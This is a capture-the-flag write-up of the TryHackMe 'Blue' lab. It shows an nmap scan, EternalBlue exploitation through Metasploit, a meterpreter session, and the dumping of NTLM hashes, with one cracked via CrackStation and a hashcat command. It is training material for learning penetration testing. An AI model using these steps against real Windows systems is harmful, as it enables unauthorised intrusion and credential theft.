Blue

Blue

Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

Recon

Recon

```
nmap -T4 -sV  10.10.135.142
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 02:42 PKT
Nmap scan report for 10.10.135.142
Host is up (0.22s latency).
Not shown: 991 closed tcp ports (reset)
PORT          STATE SERVICE                VERSION
135/tcp     open   msrpc                    Microsoft Windows RPC
139/tcp     open   netbios-ssn              Microsoft Windows netbios-ssn
445/tcp     open   microsoft-ds             Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
3389/tcp   open   ssl/ms-wbt-server?
49152/tcp open   msrpc                    Microsoft Windows RPC
49153/tcp open   unknown
49154/tcp open   unknown
49158/tcp open   msrpc                    Microsoft Windows RPC
49159/tcp open   msrpc                    Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.03 seconds
```

445 Port ? means SMB and Look Windwos 7 , Possibility of Eternal Blue

Gain Access

Gain Access

Used Metasploit Module: **exploit/windows/smb/ms17_010_eternalblue**

Got meterpreter shell

migrated to **lsass.exe**

WTF! Meterpreter died after sometime

Anyway! I have exploited one more time. Now no issue at all.

Escalate

Escalate

I have already gain meterpreter shell but THM is telling me use **post/multi/manage/shell_to_meterpreter**

```
msf6 post(multi/manage/shell_to_meterpreter) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[*] Upgrading session ID: 2
[-] Meterpreter sessions cannot be upgraded any higher
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
```

So I already have meterpreter no need to use this exploit.

THM is telling us to do this because she already told us to use `set payload windows/x64/shell/reverse_tcp`
this payload with eternal blue but I already set the payload to meterpreter

THM telling me to use **getsystem** to gain root **privilege** but O already have it

Cracking

Cracking

I used **hashdump** and got this

Administrator:500:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:
1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57

now i used **https://crackstation.net/** to crack it

Hash	Type	Result
ffb43f0de35be-4d9917ac0cc8ad57f8d	NTLM	alqfna22

We can also use hashcat for this purpose

hashcat -m 1000 -a 0 -w 4 --force --opencl-device-types 1,2 -O /home/esclimited/Desktop/hashfile.txt " /usr/share/wordlists/rockyou.txt" -r OneRuleToRuleThemAll.rule